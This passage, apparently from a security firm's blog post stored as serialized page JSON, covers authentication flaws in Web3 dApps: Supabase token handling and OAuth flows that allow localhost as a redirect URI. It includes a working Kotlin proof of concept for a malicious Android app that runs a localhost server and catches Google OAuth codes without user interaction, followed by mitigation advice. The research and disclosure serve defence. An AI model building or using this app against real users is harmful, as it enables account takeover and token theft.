decodedPayload",{"type":24,"tag":271,"props":76906,"children":76907},{"style":624},[76908],{"type":29,"value":1712},{"type":24,"tag":271,"props":76910,"children":76911},{"style":630},[76912],{"type":29,"value":45196},{"type":24,"tag":271,"props":76914,"children":76915},{"style":288},[76916],{"type":29,"value":41},{"type":24,"tag":271,"props":76918,"children":76919},{"style":598},[76920],{"type":29,"value":46879},{"type":24,"tag":271,"props":76922,"children":76923},{"style":288},[76924],{"type":29,"value":606},{"type":24,"tag":271,"props":76926,"children":76927},{"style":598},[76928],{"type":29,"value":76880},{"type":24,"tag":271,"props":76930,"children":76931},{"style":288},[76932],{"type":29,"value":606},{"type":24,"tag":271,"props":76934,"children":76935},{"style":630},[76936],{"type":29,"value":76799},{"type":24,"tag":271,"props":76938,"children":76939},{"style":288},[76940],{"type":29,"value":5811},{"type":24,"tag":271,"props":76942,"children":76943},{"class":273,"line":321},[76944,76948,76952,76957,76961,76965,76970,76974,76978,76982],{"type":24,"tag":271,"props":76945,"children":76946},{"style":749},[76947],{"type":29,"value":8905},{"type":24,"tag":271,"props":76949,"children":76950},{"style":288},[76951],{"type":29,"value":17293},{"type":24,"tag":271,"props":76953,"children":76954},{"style":630},[76955],{"type":29,"value":76956},"header:",{"type":24,"tag":271,"props":76958,"children":76959},{"style":630},[76960],{"type":29,"value":76855},{"type":24,"tag":271,"props":76962,"children":76963},{"style":288},[76964],{"type":29,"value":158},{"type":24,"tag":271,"props":76966,"children":76967},{"style":630},[76968],{"type":29,"value":76969},"payload:",{"type":24,"tag":271,"props":76971,"children":76972},{"style":630},[76973],{"type":29,"value":76904},{"type":24,"tag":271,"props":76975,"children":76976},{"style":288},[76977],{"type":29,"value":158},{"type":24,"tag":271,"props":76979,"children":76980},{"style":630},[76981],{"type":29,"value":76808},{"type":24,"tag":271,"props":76983,"children":76984},{"style":288},[76985],{"type":29,"value":25991},{"type":24,"tag":271,"props":76987,"children":76988},{"class":273,"line":330},[76989,76993,76997,77001,77005],{"type":24,"tag":271,"props":76990,"children":76991},{"style":288},[76992],{"type":29,"value":23476},{"type":24,"tag":271,"props":76994,"children":76995},{"style":749},[76996],{"type":29,"value":56076},{"type":24,"tag":271,"props":76998,"children":76999},{"style":288},[77000],{"type":29,"value":1357},{"type":24,"tag":271,"props":77002,"children":77003},{"style":630},[77004],{"type":29,"value":22561},{"type":24,"tag":271,"props":77006,"children":77007},{"style":288},[77008],{"type":29,"value":919},{"type":24,"tag":271,"props":77010,"children":77011},{"class":273,"line":339},[77012,77017,77021,77025,77029,77034,77038,77042],{"type":24,"tag":271,"props":77013,"children":77014},{"style":630},[77015],{"type":29,"value":77016}," console",{"type":24,"tag":271,"props":77018,"children":77019},{"style":288},[77020],{"type":29,"value":41},{"type":24,"tag":271,"props":77022,"children":77023},{"style":598},[77024],{"type":29,"value":22561},{"type":24,"tag":271,"props":77026,"children":77027},{"style":288},[77028],{"type":29,"value":606},{"type":24,"tag":271,"props":77030,"children":77031},{"style":378},[77032],{"type":29,"value":77033},"'Error parsing token:'",{"type":24,"tag":271,"props":77035,"children":77036},{"style":288},[77037],{"type":29,"value":158},{"type":24,"tag":271,"props":77039,"children":77040},{"style":630},[77041],{"type":29,"value":22561},{"type":24,"tag":271,"props":77043,"children":77044},{"style":288},[77045],{"type":29,"value":1155},{"type":24,"tag":271,"props":77047,"children":77048},{"class":273,"line":347},[77049,77053,77058],{"type":24,"tag":271,"props":77050,"children":77051},{"style":749},[77052],{"type":29,"value":8905},{"type":24,"tag":271,"props":77054,"children":77055},{"style":278},[77056],{"type":29,"value":77057}," null",{"type":24,"tag":271,"props":77059,"children":77060},{"style":288},[77061],{"type":29,"value":1069},{"type":24,"tag":271,"props":77063,"children":77064},{"class":273,"line":356},[77065],{"type":24,"tag":271,"props":77066,"children":77067},{"style":288},[77068],{"type":29,"value":4385},{"type":24,"tag":271,"props":77070,"children":77071},{"class":273,"line":365},[77072],{"type":24,"tag":271,"props":77073,"children":77074},{"style":288},[77075],{"type":29,"value":1171},{"type":24,"tag":85,"props":77077,"children":77078},{"id":48001},[77079],{"type":29,"value":48004},{"type":24,"tag":25,"props":77081,"children":77082},{},[77083,77085,77092,77094,77100],{"type":29,"value":77084},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":24,"tag":32,"props":77086,"children":77089},{"href":77087,"rel":77088},"https://supabase.com/docs/guides/database/postgres/row-level-security",[36],[77090],{"type":29,"value":77091},"Row-Level Security",{"type":29,"value":77093}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":24,"tag":135,"props":77095,"children":77097},{"className":77096},[],[77098],{"type":29,"value":77099},"app_metadata",{"type":29,"value":77101},". These fields must be strictly validated at every step of their creation and update processes.",{"type":24,"tag":62,"props":77103,"children":77105},{"id":77104},"oauth-in-development-environments",[77106],{"type":29,"value":77107},"OAuth in development environments",{"type":24,"tag":25,"props":77109,"children":77110},{},[77111,77113,77120,77122,77127],{"type":29,"value":77112},"After watching a ",{"type":24,"tag":32,"props":77114,"children":77117},{"href":77115,"rel":77116},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[36],[77118],{"type":29,"value":77119},"talk",{"type":29,"value":77121}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":24,"tag":135,"props":77123,"children":77125},{"className":77124},[],[77126],{"type":29,"value":76553},{"type":29,"value":77128}," parameter during the OAuth flow.",{"type":24,"tag":25,"props":77130,"children":77131},{},[77132,77134,77141],{"type":29,"value":77133},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":24,"tag":32,"props":77135,"children":77138},{"href":77136,"rel":77137},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[36],[77139],{"type":29,"value":77140},"Remote Code Execution",{"type":29,"value":77142}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":24,"tag":25,"props":77144,"children":77145},{},[77146,77148,77154],{"type":29,"value":77147},"In one of our client's implementations, we identified that ",{"type":24,"tag":135,"props":77149,"children":77151},{"className":77150},[],[77152],{"type":29,"value":77153},"localhost:3000",{"type":29,"value":77155}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":24,"tag":25,"props":77157,"children":77158},{},[77159],{"type":29,"value":77160},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":24,"tag":261,"props":77162,"children":77166},{"className":77163,"code":77164,"language":77165,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[77167],{"type":24,"tag":135,"props":77168,"children":77169},{"__ignoreMap":7},[77170],{"type":24,"tag":271,"props":77171,"children":77172},{"class":273,"line":274},[77173],{"type":24,"tag":271,"props":77174,"children":77175},{},[77176],{"type":29,"value":77164},{"type":24,"tag":25,"props":77178,"children":77179},{},[77180],{"type":29,"value":77181},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":24,"tag":261,"props":77183,"children":77187},{"className":77184,"code":77185,"language":77186,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.search;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n}\n","kotlin",[77188],{"type":24,"tag":135,"props":77189,"children":77190},{"__ignoreMap":7},[77191,77218,77225,77257,77279,77286,77294,77316,77328,77340,77375,77401,77451,77458,77465,77472,77480,77502,77537,77550,77557,77564,77585,77611,77623,77644,77661,77673,77699,77738,77759,77767,77779,77804,77816,77829,77837,77844,77852,77860,77867,77897,77904],{"type":24,"tag":271,"props":77192,"children":77193},{"class":273,"line":274},[77194,77199,77204,77209,77214],{"type":24,"tag":271,"props":77195,"children":77196},{"style":278},[77197],{"type":29,"value":77198},"class",{"type":24,"tag":271,"props":77200,"children":77201},{"style":3887},[77202],{"type":29,"value":77203}," MainActivity",{"type":24,"tag":271,"props":77205,"children":77206},{"style":288},[77207],{"type":29,"value":77208}," : ",{"type":24,"tag":271,"props":77210,"children":77211},{"style":3887},[77212],{"type":29,"value":77213},"AppCompatActivity",{"type":24,"tag":271,"props":77215,"children":77216},{"style":288},[77217],{"type":29,"value":23434},{"type":24,"tag":271,"props":77219,"children":77220},{"class":273,"line":284},[77221],{"type":24,"tag":271,"props":77222,"children":77223},{"emptyLinePlaceholder":16},[77224],{"type":29,"value":327},{"type":24,"tag":271,"props":77226,"children":77227},{"class":273,"line":294},[77228,77233,77237,77242,77247,77252],{"type":24,"tag":271,"props":77229,"children":77230},{"style":278},[77231],{"type":29,"value":77232}," override",{"type":24,"tag":271,"props":77234,"children":77235},{"style":278},[77236],{"type":29,"value":13924},{"type":24,"tag":271,"props":77238,"children":77239},{"style":598},[77240],{"type":29,"value":77241}," onCreate",{"type":24,"tag":271,"props":77243,"children":77244},{"style":288},[77245],{"type":29,"value":77246},"(savedInstanceState: ",{"type":24,"tag":271,"props":77248,"children":77249},{"style":3887},[77250],{"type":29,"value":77251},"Bundle",{"type":24,"tag":271,"props":77253,"children":77254},{"style":288},[77255],{"type":29,"value":77256},"?) {\n",{"type":24,"tag":271,"props":77258,"children":77259},{"class":273,"line":303},[77260,77265,77269,77274],{"type":24,"tag":271,"props":77261,"children":77262},{"style":278},[77263],{"type":29,"value":77264}," super",{"type":24,"tag":271,"props":77266,"children":77267},{"style":288},[77268],{"type":29,"value":41},{"type":24,"tag":271,"props":77270,"children":77271},{"style":598},[77272],{"type":29,"value":77273},"onCreate",{"type":24,"tag":271,"props":77275,"children":77276},{"style":288},[77277],{"type":29,"value":77278},"(savedInstanceState)\n",{"type":24,"tag":271,"props":77280,"children":77281},{"class":273,"line":312},[77282],{"type":24,"tag":271,"props":77283,"children":77284},{"emptyLinePlaceholder":16},[77285],{"type":29,"value":327},{"type":24,"tag":271,"props":77287,"children":77288},{"class":273,"line":321},[77289],{"type":24,"tag":271,"props":77290,"children":77291},{"style":2058},[77292],{"type":29,"value":77293}," // Start the Ktor web server\n",{"type":24,"tag":271,"props":77295,"children":77296},{"class":273,"line":330},[77297,77302,77307,77312],{"type":24,"tag":271,"props":77298,"children":77299},{"style":598},[77300],{"type":29,"value":77301}," CoroutineScope",{"type":24,"tag":271,"props":77303,"children":77304},{"style":288},[77305],{"type":29,"value":77306},"(Dispatchers.IO).",{"type":24,"tag":271,"props":77308,"children":77309},{"style":598},[77310],{"type":29,"value":77311},"launch",{"type":24,"tag":271,"props":77313,"children":77314},{"style":288},[77315],{"type":29,"value":7145},{"type":24,"tag":271,"props":77317,"children":77318},{"class":273,"line":339},[77319,77324],{"type":24,"tag":271,"props":77320,"children":77321},{"style":749},[77322],{"type":29,"value":77323}," try",{"type":24,"tag":271,"props":77325,"children":77326},{"style":288},[77327],{"type":29,"value":7145},{"type":24,"tag":271,"props":77329,"children":77330},{"class":273,"line":347},[77331,77336],{"type":24,"tag":271,"props":77332,"children":77333},{"style":598},[77334],{"type":29,"value":77335}," startWebServer",{"type":24,"tag":271,"props":77337,"children":77338},{"style":288},[77339],{"type":29,"value":15452},{"type":24,"tag":271,"props":77341,"children":77342},{"class":273,"line":356},[77343,77348,77353,77357,77362,77366,77371],{"type":24,"tag":271,"props":77344,"children":77345},{"style":288},[77346],{"type":29,"value":77347}," Log.",{"type":24,"tag":271,"props":77349,"children":77350},{"style":598},[77351],{"type":29,"value":77352},"d",{"type":24,"tag":271,"props":77354,"children":77355},{"style":288},[77356],{"type":29,"value":606},{"type":24,"tag":271,"props":77358,"children":77359},{"style":378},[77360],{"type":29,"value":77361},"\"WebServer\"",{"type":24,"tag":271,"props":77363,"children":77364},{"style":288},[77365],{"type":29,"value":158},{"type":24,"tag":271,"props":77367,"children":77368},{"style":378},[77369],{"type":29,"value":77370},"\"Server started on http://localhost:3000\"",{"type":24,"tag":271,"props":77372,"children":77373},{"style":288},[77374],{"type":29,"value":694},{"type":24,"tag":271,"props":77376,"children":77377},{"class":273,"line":365},[77378,77383,77387,77392,77397],{"type":24,"tag":271,"props":77379,"children":77380},{"style":288},[77381],{"type":29,"value":77382}," } ",{"type":24,"tag":271,"props":77384,"children":77385},{"style":278},[77386],{"type":29,"value":56076},{"type":24,"tag":271,"props":77388,"children":77389},{"style":288},[77390],{"type":29,"value":77391}," (e: ",{"type":24,"tag":271,"props":77393,"children":77394},{"style":3887},[77395],{"type":29,"value":77396},"Exception",{"type":24,"tag":271,"props":77398,"children":77399},{"style":288},[77400],{"type":29,"value":919},{"type":24,"tag":271,"props":77402,"children":77403},{"class":273,"line":374},[77404,77408,77412,77416,77420,77424,77429,77433,77438,77442,77446],{"type":24,"tag":271,"props":77405,"children":77406},{"style":288},[77407],{"type":29,"value":77347},{"type":24,"tag":271,"props":77409,"children":77410},{"style":598},[77411],{"type":29,"value":1026},{"type":24,"tag":271,"props":77413,"children":77414},{"style":288},[77415],{"type":29,"value":606},{"type":24,"tag":271,"props":77417,"children":77418},{"style":378},[77419],{"type":29,"value":77361},{"type":24,"tag":271,"props":77421,"children":77422},{"style":288},[77423],{"type":29,"value":158},{"type":24,"tag":271,"props":77425,"children":77426},{"style":378},[77427],{"type":29,"value":77428},"\"Error starting server: ",{"type":24,"tag":271,"props":77430,"children":77431},{"style":278},[77432],{"type":29,"value":41777},{"type":24,"tag":271,"props":77434,"children":77435},{"style":624},[77436],{"type":29,"value":77437},"e.message",{"type":24,"tag":271,"props":77439,"children":77440},{"style":278},[77441],{"type":29,"value":41809},{"type":24,"tag":271,"props":77443,"children":77444},{"style":378},[77445],{"type":29,"value":5702},{"type":24,"tag":271,"props":77447,"children":77448},{"style":288},[77449],{"type":29,"value":77450},", e)\n",{"type":24,"tag":271,"props":77452,"children":77453},{"class":273,"line":384},[77454],{"type":24,"tag":271,"props":77455,"children":77456},{"style":288},[77457],{"type":29,"value":8554},{"type":24,"tag":271,"props":77459,"children":77460},{"class":273,"line":393},[77461],{"type":24,"tag":271,"props":77462,"children":77463},{"style":288},[77464],{"type":29,"value":7574},{"type":24,"tag":271,"props":77466,"children":77467},{"class":273,"line":402},[77468],{"type":24,"tag":271,"props":77469,"children":77470},{"emptyLinePlaceholder":16},[77471],{"type":29,"value":327},{"type":24,"tag":271,"props":77473,"children":77474},{"class":273,"line":411},[77475],{"type":24,"tag":271,"props":77476,"children":77477},{"style":2058},[77478],{"type":29,"value":77479}," // Open the Google OAuth page\n",{"type":24,"tag":271,"props":77481,"children":77482},{"class":273,"line":420},[77483,77488,77493,77497],{"type":24,"tag":271,"props":77484,"children":77485},{"style":278},[77486],{"type":29,"value":77487}," val",{"type":24,"tag":271,"props":77489,"children":77490},{"style":288},[77491],{"type":29,"value":77492}," googleOAuthUrl ",{"type":24,"tag":271,"props":77494,"children":77495},{"style":624},[77496],{"type":29,"value":762},{"type":24,"tag":271,"props":77498,"children":77499},{"style":378},[77500],{"type":29,"value":77501}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":24,"tag":271,"props":77503,"children":77504},{"class":273,"line":429},[77505,77509,77514,77518,77523,77528,77532],{"type":24,"tag":271,"props":77506,"children":77507},{"style":278},[77508],{"type":29,"value":77487},{"type":24,"tag":271,"props":77510,"children":77511},{"style":288},[77512],{"type":29,"value":77513}," browserIntent ",{"type":24,"tag":271,"props":77515,"children":77516},{"style":624},[77517],{"type":29,"value":762},{"type":24,"tag":271,"props":77519,"children":77520},{"style":598},[77521],{"type":29,"value":77522}," Intent",{"type":24,"tag":271,"props":77524,"children":77525},{"style":288},[77526],{"type":29,"value":77527},"(Intent.ACTION_VIEW, Uri.",{"type":24,"tag":271,"props":77529,"children":77530},{"style":598},[77531],{"type":29,"value":46879},{"type":24,"tag":271,"props":77533,"children":77534},{"style":288},[77535],{"type":29,"value":77536},"(googleOAuthUrl))\n",{"type":24,"tag":271,"props":77538,"children":77539},{"class":273,"line":438},[77540,77545],{"type":24,"tag":271,"props":77541,"children":77542},{"style":598},[77543],{"type":29,"value":77544}," startActivity",{"type":24,"tag":271,"props":77546,"children":77547},{"style":288},[77548],{"type":29,"value":77549},"(browserIntent)\n",{"type":24,"tag":271,"props":77551,"children":77552},{"class":273,"line":447},[77553],{"type":24,"tag":271,"props":77554,"children":77555},{"style":288},[77556],{"type":29,"value":4385},{"type":24,"tag":271,"props":77558,"children":77559},{"class":273,"line":455},[77560],{"type":24,"tag":271,"props":77561,"children":77562},{"emptyLinePlaceholder":16},[77563],{"type":29,"value":327},{"type":24,"tag":271,"props":77565,"children":77566},{"class":273,"line":464},[77567,77572,77576,77581],{"type":24,"tag":271,"props":77568,"children":77569},{"style":278},[77570],{"type":29,"value":77571}," private",{"type":24,"tag":271,"props":77573,"children":77574},{"style":278},[77575],{"type":29,"value":13924},{"type":24,"tag":271,"props":77577,"children":77578},{"style":598},[77579],{"type":29,"value":77580}," startWebServer",{"type":24,"tag":271,"props":77582,"children":77583},{"style":288},[77584],{"type":29,"value":23434},{"type":24,"tag":271,"props":77586,"children":77587},{"class":273,"line":473},[77588,77593,77598,77602,77607],{"type":24,"tag":271,"props":77589,"children":77590},{"style":598},[77591],{"type":29,"value":77592}," embeddedServer",{"type":24,"tag":271,"props":77594,"children":77595},{"style":288},[77596],{"type":29,"value":77597},"(CIO, port ",{"type":24,"tag":271,"props":77599,"children":77600},{"style":624},[77601],{"type":29,"value":762},{"type":24,"tag":271,"props":77603,"children":77604},{"style":477},[77605],{"type":29,"value":77606}," 3000",{"type":24,"tag":271,"props":77608,"children":77609},{"style":288},[77610],{"type":29,"value":919},{"type":24,"tag":271,"props":77612,"children":77613},{"class":273,"line":483},[77614,77619],{"type":24,"tag":271,"props":77615,"children":77616},{"style":598},[77617],{"type":29,"value":77618}," routing",{"type":24,"tag":271,"props":77620,"children":77621},{"style":288},[77622],{"type":29,"value":7145},{"type":24,"tag":271,"props":77624,"children":77625},{"class":273,"line":491},[77626,77631,77635,77640],{"type":24,"tag":271,"props":77627,"children":77628},{"style":278},[77629],{"type":29,"value":77630}," get",{"type":24,"tag":271,"props":77632,"children":77633},{"style":288},[77634],{"type":29,"value":606},{"type":24,"tag":271,"props":77636,"children":77637},{"style":378},[77638],{"type":29,"value":77639},"\"{...}\"",{"type":24,"tag":271,"props":77641,"children":77642},{"style":288},[77643],{"type":29,"value":919},{"type":24,"tag":271,"props":77645,"children":77646},{"class":273,"line":499},[77647,77652,77657],{"type":24,"tag":271,"props":77648,"children":77649},{"style":288},[77650],{"type":29,"value":77651}," call.",{"type":24,"tag":271,"props":77653,"children":77654},{"style":598},[77655],{"type":29,"value":77656},"respondHtml",{"type":24,"tag":271,"props":77658,"children":77659},{"style":288},[77660],{"type":29,"value":7145},{"type":24,"tag":271,"props":77662,"children":77663},{"class":273,"line":3188},[77664,77669],{"type":24,"tag":271,"props":77665,"children":77666},{"style":598},[77667],{"type":29,"value":77668}," head",{"type":24,"tag":271,"props":77670,"children":77671},{"style":288},[77672],{"type":29,"value":7145},{"type":24,"tag":271,"props":77674,"children":77675},{"class":273,"line":3247},[77676,77681,77686,77690,77695],{"type":24,"tag":271,"props":77677,"children":77678},{"style":598},[77679],{"type":29,"value":77680}," meta",{"type":24,"tag":271,"props":77682,"children":77683},{"style":288},[77684],{"type":29,"value":77685},"(charset ",{"type":24,"tag":271,"props":77687,"children":77688},{"style":624},[77689],{"type":29,"value":762},{"type":24,"tag":271,"props":77691,"children":77692},{"style":378},[77693],{"type":29,"value":77694}," \"UTF-8\"",{"type":24,"tag":271,"props":77696,"children":77697},{"style":288},[77698],{"type":29,"value":694},{"type":24,"tag":271,"props":77700,"children":77701},{"class":273,"line":3255},[77702,77706,77711,77715,77720,77725,77729,77734],{"type":24,"tag":271,"props":77703,"children":77704},{"style":598},[77705],{"type":29,"value":77680},{"type":24,"tag":271,"props":77707,"children":77708},{"style":288},[77709],{"type":29,"value":77710},"(name ",{"type":24,"tag":271,"props":77712,"children":77713},{"style":624},[77714],{"type":29,"value":762},{"type":24,"tag":271,"props":77716,"children":77717},{"style":378},[77718],{"type":29,"value":77719}," \"viewport\"",{"type":24,"tag":271,"props":77721,"children":77722},{"style":288},[77723],{"type":29,"value":77724},", content ",{"type":24,"tag":271,"props":77726,"children":77727},{"style":624},[77728],{"type":29,"value":762},{"type":24,"tag":271,"props":77730,"children":77731},{"style":378},[77732],{"type":29,"value":77733}," \"width=device-width, initial-scale=1.0\"",{"type":24,"tag":271,"props":77735,"children":77736},{"style":288},[77737],{"type":29,"value":694},{"type":24,"tag":271,"props":77739,"children":77740},{"class":273,"line":3263},[77741,77746,77750,77755],{"type":24,"tag":271,"props":77742,"children":77743},{"style":598},[77744],{"type":29,"value":77745}," title",{"type":24,"tag":271,"props":77747,"children":77748},{"style":288},[77749],{"type":29,"value":606},{"type":24,"tag":271,"props":77751,"children":77752},{"style":378},[77753],{"type":29,"value":77754},"\"OAuth Redirect\"",{"type":24,"tag":271,"props":77756,"children":77757},{"style":288},[77758],{"type":29,"value":694},{"type":24,"tag":271,"props":77760,"children":77761},{"class":273,"line":3293},[77762],{"type":24,"tag":271,"props":77763,"children":77764},{"style":288},[77765],{"type":29,"value":77766}," }\n",{"type":24,"tag":271,"props":77768,"children":77769},{"class":273,"line":3301},[77770,77775],{"type":24,"tag":271,"props":77771,"children":77772},{"style":598},[77773],{"type":29,"value":77774}," body",{"type":24,"tag":271,"props":77776,"children":77777},{"style":288},[77778],{"type":29,"value":7145},{"type":24,"tag":271,"props":77780,"children":77781},{"class":273,"line":3683},[77782,77787,77791,77795,77800],{"type":24,"tag":271,"props":77783,"children":77784},{"style":598},[77785],{"type":29,"value":77786}," h1",{"type":24,"tag":271,"props":77788,"children":77789},{"style":288},[77790],{"type":29,"value":17293},{"type":24,"tag":271,"props":77792,"children":77793},{"style":624},[77794],{"type":29,"value":1012},{"type":24,"tag":271,"props":77796,"children":77797},{"style":378},[77798],{"type":29,"value":77799},"\"Google OAuth Redirect\"",{"type":24,"tag":271,"props":77801,"children":77802},{"style":288},[77803],{"type":29,"value":1163},{"type":24,"tag":271,"props":77805,"children":77806},{"class":273,"line":4486},[77807,77812],{"type":24,"tag":271,"props":77808,"children":77809},{"style":598},[77810],{"type":29,"value":77811}," script",{"type":24,"tag":271,"props":77813,"children":77814},{"style":288},[77815],{"type":29,"value":7145},{"type":24,"tag":271,"props":77817,"children":77818},{"class":273,"line":4509},[77819,77824],{"type":24,"tag":271,"props":77820,"children":77821},{"style":624},[77822],{"type":29,"value":77823}," +",{"type":24,"tag":271,"props":77825,"children":77826},{"style":378},[77827],{"type":29,"value":77828},"\"document.body.innerText = location.search;\"\n",{"type":24,"tag":271,"props":77830,"children":77831},{"class":273,"line":4545},[77832],{"type":24,"tag":271,"props":77833,"children":77834},{"style":288},[77835],{"type":29,"value":77836}," }\n",{"type":24,"tag":271,"props":77838,"children":77839},{"class":273,"line":4591},[77840],{"type":24,"tag":271,"props":77841,"children":77842},{"style":288},[77843],{"type":29,"value":77766},{"type":24,"tag":271,"props":77845,"children":77846},{"class":273,"line":4628},[77847],{"type":24,"tag":271,"props":77848,"children":77849},{"style":288},[77850],{"type":29,"value":77851}," }\n",{"type":24,"tag":271,"props":77853,"children":77854},{"class":273,"line":4658},[77855],{"type":24,"tag":271,"props":77856,"children":77857},{"style":288},[77858],{"type":29,"value":77859}," }\n",{"type":24,"tag":271,"props":77861,"children":77862},{"class":273,"line":4666},[77863],{"type":24,"tag":271,"props":77864,"children":77865},{"style":288},[77866],{"type":29,"value":8554},{"type":24,"tag":271,"props":77868,"children":77869},{"class":273,"line":4674},[77870,77875,77880,77885,77889,77893],{"type":24,"tag":271,"props":77871,"children":77872},{"style":288},[77873],{"type":29,"value":77874}," }.",{"type":24,"tag":271,"props":77876,"children":77877},{"style":598},[77878],{"type":29,"value":77879},"start",{"type":24,"tag":271,"props":77881,"children":77882},{"style":288},[77883],{"type":29,"value":77884},"(wait ",{"type":24,"tag":271,"props":77886,"children":77887},{"style":624},[77888],{"type":29,"value":762},{"type":24,"tag":271,"props":77890,"children":77891},{"style":278},[77892],{"type":29,"value":1717},{"type":24,"tag":271,"props":77894,"children":77895},{"style":288},[77896],{"type":29,"value":694},{"type":24,"tag":271,"props":77898,"children":77899},{"class":273,"line":4683},[77900],{"type":24,"tag":271,"props":77901,"children":77902},{"style":288},[77903],{"type":29,"value":4385},{"type":24,"tag":271,"props":77905,"children":77906},{"class":273,"line":4691},[77907],{"type":24,"tag":271,"props":77908,"children":77909},{"style":288},[77910],{"type":29,"value":1171},{"type":24,"tag":25,"props":77912,"children":77913},{},[77914],{"type":29,"value":77915},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":24,"tag":25,"props":77917,"children":77918},{},[77919],{"type":29,"value":77920},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":24,"tag":85,"props":77922,"children":77924},{"id":77923},"mitigation-1",[77925],{"type":29,"value":48004},{"type":24,"tag":25,"props":77927,"children":77928},{},[77929,77931,77936],{"type":29,"value":77930},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":24,"tag":135,"props":77932,"children":77934},{"className":77933},[],[77935],{"type":29,"value":76553},{"type":29,"value":77937}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":24,"tag":62,"props":77939,"children":77940},{"id":10547},[77941],{"type":29,"value":10550},{"type":24,"tag":25,"props":77943,"children":77944},{},[77945],{"type":29,"value":77946},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":24,"tag":25,"props":77948,"children":77949},{},[77950],{"type":29,"value":77951},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":24,"tag":10562,"props":77953,"children":77954},{},[77955],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":77957},[77958,77965,77970,77973],{"id":76321,"depth":284,"text":76324,"children":77959},[77960,77961,77962,77963,77964],{"id":76332,"depth":294,"text":76335},{"id":76359,"depth":294,"text":76362},{"id":76420,"depth":294,"text":76423},{"id":76477,"depth":294,"text":76480},{"id":76576,"depth":294,"text":76579},{"id":76622,"depth":284,"text":76625,"children":77966},[77967,77968,77969],{"id":76628,"depth":294,"text":76631},{"id":76655,"depth":294,"text":76658},{"id":48001,"depth":294,"text":48004},{"id":77104,"depth":284,"text":77107,"children":77971},[77972],{"id":77923,"depth":294,"text":48004},{"id":10547,"depth":284,"text":10550},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":77978,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":77979,"description":77980,"author":48118,"image":77981,"date":77983